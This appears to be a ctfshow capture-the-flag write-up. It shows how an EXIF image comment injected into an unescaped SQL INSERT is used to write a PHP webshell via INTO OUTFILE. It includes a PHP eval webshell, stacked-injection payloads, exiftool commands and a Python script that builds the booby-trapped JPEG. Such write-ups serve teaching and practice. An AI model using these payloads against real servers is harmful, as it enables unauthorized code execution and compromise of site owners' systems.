exif注释图片上传插入sql
题目:ctfshow Exif注释包含恶意代码
【1】访问robots.txt
User-agent: *
Disallow: /pwdreset.php
【2】访问/pwdreset.php,重置admin密码,到/login登录,重定向到main.php,有个文件上传点,上传内容为<?php eval($_POST[111]);?>,文件名为shell.php的马,上传之后,重定向到filelist.php,点击图中链接,他会直接下载,没什么思路了

【3】解法一(应该是非预期)
原理:上传文件的文件内容也会通过sql语句写到数据库里面的
C64File "是 EXIF UserComment 字段的格式前缀 。EXIF 规范要求 UserComment 标签前 8 字节标识字符编码
(1)向1.txt文件写入
16进制编码为0x3c3f3d60746163202f662a603f3e
C64File "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell1.php';--+
(2)访问/shell1.php

解法二:EXIF 注释 + 堆叠注入 详解
图片的 EXIF 注释字段可以存储任意文本,服务器读取后直接拼接到 SQL 语句中,没有转义过滤,攻击者在 EXIF 注释中写入 SQL 代码,实现堆叠注入
EXIF(Exchangeable Image File Format)是图片的元数据,记录了拍摄信息:
攻击原理
1. 用户上传图片
2. 服务器读取图片的 EXIF 注释
3. 把注释内容拼接到 SQL 语句
4. 执行 SQL,将注释存入数据库
这绕过了常见的输入过滤——服务器可能过滤了表单输入,但没有过滤 EXIF 中的数据
后端代码可能是这样的:
// 读取上传图片的 EXIF 注释
$exif = exif_read_data($_FILES['image']['tmp_name']);
$comment = $exif['ImageDescription']; // 获取 EXIF 注释
// 直接拼接到 SQL 语句(没有转义!)
$sql = "INSERT INTO photos (comment) VALUES ('$comment')";
mysqli_query($conn, $sql);
攻击流程
第一步:往图片的 EXIF 注释字段注入 SQL 代码
exiftool -Comment="test');SELECT SLEEP(5);-- " photo.jpg
第二步:上传图片
第三步:服务器执行 SQL
INSERT INTO photos (comment) VALUES ('test');SELECT SLEEP(5);-- ')
拆解这条 SQL:
INSERT INTO photos (comment) VALUES ('test'); ← 正常语句,执行完
SELECT SLEEP(5); ← 注入的第二条语句,执行完
-- ') ← 注释掉后面的引号和括号
修改图片的 EXIF
方法一:exiftool
# 修改所有注释类字段
exiftool -Comment="');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell.php';--+" 1.jpg
方法二:Python(直接运行就行,不用图片,会自动生成)
import struct
import io
def make_jpeg_with_exif_comment(payload: str, output_path: str):
"""
构造一个最小合法 JPEG,EXIF Comment 字段包含 payload
"""
payload_bytes = payload.encode('latin-1')
# JPEG SOI
soi = b'\xff\xd8'
# APP1 EXIF 段
# EXIF header
exif_header = b'Exif\x00\x00'
# TIFF header (little-endian)
tiff_header = b'II\x2a\x00\x08\x00\x00\x00' # II = little-endian, 0x2a = magic, offset=8
# IFD0: 1 entry (ImageDescription = 0x010e)
# tag=0x010e, type=2(ASCII), count=len+1, value_offset
tag = 0x010e
ifd_type = 2 # ASCII
count = len(payload_bytes) + 1 # +1 for null terminator
# IFD entry size = 12 bytes, IFD count(2) + 1 entry(12) + next_ifd(4) = 18 bytes
# value offset = 8 (tiff header) + 2 (count) + 12 (entry) + 4 (next ifd) = 26
value_offset = 8 + 2 + 12 + 4
ifd_count = struct.pack('<H', 1)
ifd_entry = struct.pack('<HHII', tag, ifd_type, count, value_offset)
next_ifd = struct.pack('<I', 0)
value_data = payload_bytes + b'\x00'
tiff_data = tiff_header + ifd_count + ifd_entry + next_ifd + value_data
app1_data = exif_header + tiff_data
app1_len = len(app1_data) + 2 # +2 for length field itself
app1 = b'\xff\xe1' + struct.pack('>H', app1_len) + app1_data
# 最小 JPEG 图像数据(1x1 白色像素)
# SOF0 + DHT + SOS + EOI
minimal_jpeg_body = bytes([
0xff, 0xdb, 0x00, 0x43, 0x00, # DQT
0x08, 0x06, 0x06, 0x07, 0x06, 0x05, 0x08, 0x07,
0x07, 0x07, 0x09, 0x09, 0x08, 0x0a, 0x0c, 0x14,
0x0d, 0x0c, 0x0b, 0x0b, 0x0c, 0x19, 0x12, 0x13,
0x0f, 0x14, 0x1d, 0x1a, 0x1f, 0x1e, 0x1d, 0x1a,
0x1c, 0x1c, 0x20, 0x24, 0x2e, 0x27, 0x20, 0x22,
0x2c, 0x23, 0x1c, 0x1c, 0x28, 0x37, 0x29, 0x2c,
0x30, 0x31, 0x34, 0x34, 0x34, 0x1f, 0x27, 0x39,
0x3d, 0x38, 0x32, 0x3c, 0x2e, 0x33, 0x34, 0x32,
0xff, 0xc0, 0x00, 0x0b, 0x08, 0x00, 0x01, 0x00, # SOF0 1x1
0x01, 0x01, 0x01, 0x11, 0x00,
0xff, 0xc4, 0x00, 0x1f, 0x00, # DHT
0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b,
0xff, 0xda, 0x00, 0x08, 0x01, 0x01, 0x00, 0x00, # SOS
0x3f, 0x00, 0xf5, 0x28, 0xa1, 0x4f,
0xff, 0xd9 # EOI
])
jpeg_data = soi + app1 + minimal_jpeg_body
with open(output_path, 'wb') as f:
f.write(jpeg_data)
print(f"[+] 生成文件: {output_path}")
print(f"[+] 文件大小: {len(jpeg_data)} bytes")
print(f"[+] Payload 已写入 EXIF ImageDescription")
payload = "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell.php';--+"
make_jpeg_with_exif_comment(payload, "evil.jpg")
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627573

浙公网安备 33010602011771号